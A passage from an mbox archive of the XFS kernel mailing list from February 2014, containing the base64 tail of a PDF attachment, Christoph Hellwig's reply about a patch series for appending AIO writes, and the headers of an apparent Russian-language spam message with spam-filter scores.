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 OdogNvO6HCcAfpK7Xw/tuh1NU+VZKqiMk6DBIC3HYcndLMnDAydoQZgDEaI8SwVJOO8jTr+QluVw NLdMgh+I/Z5oGo3yrUXFHMe9O2hfQpfiSZ+MM8WD7MUoiGm2/jaaFgH8ojxHJamud8BKNPo8DAk+ nKQBv8wXBvyrlHoO3w/ac0bEuobEYZ01SD1H2Af2ZUNqcMdE8u9Uzl0q9RxgFPqz5cb3t1OpqiNc pKqBMwGip8VKbSV9hqqxOqiF4yMYkgExDFiSOMYeqpZdqho4YRqNR7y7d2VGEIhZslp2qWrgxH18 MAg+ecV17JwAzNVyl6gGTjINghRIu9C4ckFd73dVNXAEC+IkXGD/MJmSjChSoRo4oBXGu9GEG8wK JPdatcwlqoUzRgDirTh1aKGfVJ4AR0G1cG4zAoxEKZo+DWbpaplLVAsnjsIqzk1SmDBAVstcolo4 K6iXz83CPkS6VjeoiSO0kujCG6wU2NqCHVAbBzhgpZaehf04psbarUaOF3aAEm4dEHCsWtZS1cS5 AzvXHDRn5W61nGWqicNTevAJjHh8c9VylqkmDjj9AfrkaVWXxiWqjXORx+DnYgyrkq9ctXHS9A3U +7lRLV+5auOAXcCj0Rc9Q6taNXJu0fBjnK6SS0Y1cvjfJEFSQ1bLVq4aOeDGj/+s8O6tWlQrB4xs baqWRU41c+pUg1OfGpz61ODUpwanPjU49anBqU8NTn1qcOpTg1OfPjXO/w+1V9bRCmVuZHN0cmVh bQplbmRvYmoKMSAwIG9iago8PCAKICAgL1R5cGUgL0NhdGFsb2cKICAgL1BhZ2VzIDIgMCBSCiAg IC9QYWdlTGF5b3V0IC9PbmVDb2x1bW4KICAgL1BhZ2VNb2RlIC9Vc2VOb25lCj4+CmVuZG9iagoy IDAgb2JqCjw8IAogICAvVHlwZSAvUGFnZXMKICAgL0tpZHMgWzMgMCBSIF0KICAgL0NvdW50IDEK Pj4KZW5kb2JqCjMgMCBvYmoKPDwgCiAgIC9UeXBlIC9QYWdlCiAgIC9QYXJlbnQgMiAwIFIKICAg L1Jlc291cmNlcyA8PCAKICAgL1Byb2NTZXQgWy9QREYgL1RleHQgXQogICAvWE9iamVjdCA8PCAK ICAgL0ltZzEgNiAwIFIKPj4KPj4KICAgL01lZGlhQm94IFswIDAgNTk1IDg0Ml0KICAgL0NvbnRl bnRzIDQgMCBSCj4+CmVuZG9iago0IDAgb2JqCjw8IAogICAvRmlsdGVyIC9GbGF0ZURlY29kZQog ICAvTGVuZ3RoIDc1Cj4+CnN0cmVhbQp4XivkKuQyUDDQM7FQMLU01TNSsDAx1DMxUShK5QrX4soD yhoqAOUVwCRIVXIuF0ghUAlIGKoaxARK6HvmphsquORzBYIhAFbhEo0KZW5kc3RyZWFtCmVuZG9i ago1IDAgb2JqCjw8IAogICAvUHJvZHVjZXIgPEZFRkYwMDY0MDA2RjAwNTAwMDQ0MDA0NjAwMjAw MDU2MDA2NTAwNzIwMDIwMDAzNzAwMkUwMDMzMDAyMDAwNDIwMDc1MDA2OTAwNkMwMDY0MDAyMDAw MzMwMDM5MDAzNDAwMjAwMDI4MDA1NzAwNjkwMDZFMDA2NDAwNkYwMDc3MDA3MzAwMjAwMDM3MDAy MDAwNTUwMDZDMDA3NDAwNjkwMDZEMDA2MTAwNzQwMDY1MDAyMDAwNDUwMDY0MDA2OTAwNzQwMDY5 MDA2RjAwNkUwMDIwMDAyODAwNTMwMDUwMDAyMDAwMzEwMDI5MDAyMDAwMkQwMDIwMDA1NjAwNjUw MDcyMDA3MzAwNjkwMDZGMDA2RTAwM0EwMDIwMDAzNjAwMkUwMDMxMDAyRTAwMzcwMDM2MDAzMDAw MzEwMDIwMDAyODAwNzgwMDM2MDAzNDAwMjkwMDI5PgogICAvQ3JlYXRpb25EYXRlIChEOjIwMTQw MjA0MTYzNDU0KzA0JzAwJykKPj4KZW5kb2JqCjcgMCBvYmoKPDwgCiAgIC9MZW5ndGggNgo+Pgpz dHJlYW0KAAAA////CmVuZHN0cmVhbQplbmRvYmoKeHJlZgowIDggCjAwMDAwMDAwMDAgNjU1MzUg ZiAKMDAwMDAyMDMwMSAwMDAwMCBuIAowMDAwMDIwNDA1IDAwMDAwIG4gCjAwMDAwMjA0NzMgMDAw MDAgbiAKMDAwMDAyMDY1NCAwMDAwMCBuIAowMDAwMDIwODA3IDAwMDAwIG4gCjAwMDAwMDAwMTUg MDAwMDAgbiAKMDAwMDAyMTIzMiAwMDAwMCBuIAp0cmFpbGVyCjw8IAogICAvUm9vdCAxIDAgUgog ICAvSW5mbyA1IDAgUgogICAvU2l6ZSA4Cj4+CnN0YXJ0eHJlZgoyMTI5MQolJUVPRgo= ------=_NextPart_000_0C3F_01CF2246.F716DEC0-- From BATV+28cd77942a920e82fa1e+3818+infradead.org+hch@bombadil.srs.infradead.org Wed Feb 5 00:57:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BDE727F51 for ; Wed, 5 Feb 2014 00:57:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9DF418F8040 for ; Tue, 4 Feb 2014 22:57:32 -0800 (PST) X-ASG-Debug-ID: 1391583450-04cbb00c2b133060001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id SiW6ZyZi4vR0wB3k (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 22:57:30 -0800 (PST) X-Barracuda-Envelope-From: BATV+28cd77942a920e82fa1e+3818+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WAwQK-00082q-Ju; Wed, 05 Feb 2014 06:57:28 +0000 Date: Tue, 4 Feb 2014 22:57:28 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , linux-fsdevel@vger.kernel.org, Sergey Meirovich , xfs@oss.sgi.com Subject: Re: [PATCH 0/3] support appending AIO writes Message-ID: <20140205065728.GA30899@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/3] support appending AIO writes References: <20140204172402.380571745@bombadil.infradead.org> <20140204222901.GE13997@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204222901.GE13997@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1391583450 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144855 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Feb 05, 2014 at 09:29:01AM +1100, Dave Chinner wrote: > The patches look sane. Does the dio change conflict with the > work Al is doing right now of the direct IO path, or will > marshalling that part of the change through the XFS tree be fine? I've not seen any changes in that area in Al's trees. That being said I don't think this little flag should cause any major problems as we'll have to pass the flags argument in some form of direct I/O method for all the other quirks we have. From llfwcqgxbst@utu.fi Wed Feb 5 01:49:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.1 required=5.0 tests=FROM_LOCAL_NOVOWEL, HK_RANDOM_ENVFROM,HK_RANDOM_FROM,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8B0577F51 for ; Wed, 5 Feb 2014 01:49:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A3EDEAC003 for ; Tue, 4 Feb 2014 23:49:51 -0800 (PST) X-ASG-Debug-ID: 1391586584-04cb6c6de113a4b0001-NocioJ Received: from profi.od.ua (proskura.tsua.net [212.40.43.66]) by cuda.sgi.com with ESMTP id YdED76xGfmNaqW71 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 23:49:45 -0800 (PST) X-Barracuda-Envelope-From: llfwcqgxbst@utu.fi X-Barracuda-Apparent-Source-IP: 212.40.43.66 Received: from Unknown (189-112-088-065.static.ctbctelecom.com.br [189.112.88.65]) by profi.od.ua (Postfix) with ESMTPA id D2C0E68209; Wed, 5 Feb 2014 09:57:33 +0200 (EET) Message-ID: <18144691F15643F2ACBCD624952C90FC@zmkmfaj> Reply-To: =?windows-1251?B?0M7Rz9DI0M7EzcDEx87Q?= From: =?windows-1251?B?0M7Rz9DI0M7EzcDEx87Q?= To: , , , Subject: =?windows-1251?B?yO3m5e3l8O3uLf3q7uvu4+j35fHq6OUg6Of7?= =?windows-1251?B?8erg7ej/IOIg8ejx8uXs5SDo7ebl7eXw7fv1?= =?windows-1251?B?IOjn+/Hq4O3o6SDk6/8g8fLw7ujy5ev88fLi?= =?windows-1251?B?4A==?= Date: Wed, 5 Feb 2014 08:49:53 +0100 X-ASG-Orig-Subj: =?windows-1251?B?yO3m5e3l8O3uLf3q7uvu4+j35fHq6OUg6Of7?= =?windows-1251?B?8erg7ej/IOIg8ejx8uXs5SDo7ebl7eXw7fv1?= =?windows-1251?B?IOjn+/Hq4O3o6SDk6/8g8fLw7ujy5ev88fLi?= =?windows-1251?B?4A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1519_01CF224F.3CE6C070" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: proskura.tsua.net[212.40.43.66] X-Barracuda-Start-Time: 1391586584 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.53 X-Barracuda-Spam-Status: No, SCORE=2.53 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, FROM_LOCAL_NOVOWEL, HTML_MESSAGE, K2_FROM_LOCAL_NOVOWEL 